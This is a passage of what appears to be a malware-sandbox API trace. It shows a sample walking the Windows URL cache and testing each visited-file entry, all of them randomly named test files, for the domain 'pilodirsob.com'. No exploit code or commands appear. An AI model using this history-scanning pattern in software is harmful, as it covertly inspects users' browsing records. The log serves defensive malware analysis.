aETAdzjz@file:///C:/Users/aETAdzjz/Videos/qqiIPehxsG7oP4.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/lNPXPBJbh2z.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/56Gkydp.pps", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Hof4UNjCwmniuVp7kzhw.csv", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/XE7__nVIHDZVBiwh.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Gb_F43Mr7o.png", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/jfmD.ods", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/q05zZ.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/zv2AFyzuzNau.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/oo8ZxMpOJAa2JZ1VYi.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gCHHeDPHfckaHd%20mlGMq.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/t%20JYhY.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/yV9LGB40R7.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/ofac5F-21ElrB1bmCw4.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/u_7c_imef.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/RkP2X0.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/1JIR6WH.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.211] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/dQCpeCQAd-tCOwn.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.211] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/QrXE-vX97kmjH7JNQ.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7C0Fj8t5ztl8.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/dwVc1-CZ_s8dDnb6LtW.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/U35Aw3DHkP_ua.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/t_6VwOesN9.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/q34lq_JbiJsP.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/rw9RSXhngk69iq0H.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/q1P5U.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/kdQxTUFVVx.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ob40zEva5DRKY8OHuTA.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.212] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/L9zPPc-Yrgy3.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.212] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/nA%20h8.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/tba9%208-htsK355Ae3Q.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/bUz0kulIzd.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/O2uYzYjRV1_4DfQj.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gBd6-4sgl8Sgy5S.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/fdkus0pnkYX_9FlWPTF.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/KpBWj9lp.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/8ZpG.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/AAB8Ugjwnhd.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.213] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.213] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/7M%20gE_Md.xls", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/am7J3-.ods", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/8JEmUFi9Mlw.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/KMr-C2smP.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/sk2OI4pk.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/D1oAyK3G1TGu.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/rbIgDrZXw.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/sqp_XIDUP.png", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/l2%20tmDiWaU5LpGo9N.csv", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/ZqsuflN%20AEi3v1k.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.214] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/qKmq.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.214] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/CHfCw6OmU8G8iT.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/RsHGGmP1G3j3saqYtZFf.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/x3ae0WPkLee.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/3K0zw%205w2qsAHkoes.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/7tVJ.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/cn_0BRgl4hM-kJ8wE.pps", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/NPKnafg%20svyW-4p.rtf", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/8UJYk.ods", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Tlfrf.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/OkRs5XPatJ-lBBsZ.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.215] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.215] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Fgu3.rtf", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7I2Otue.odt", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/PZfAW1K-b_tgtbasrand.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/c2VYex-ql_WZAAkmz8qA.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/mlAx20rjOPn5Z.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/g4SN.xls", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/8nF8FXicLEc5Ij.xls", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, 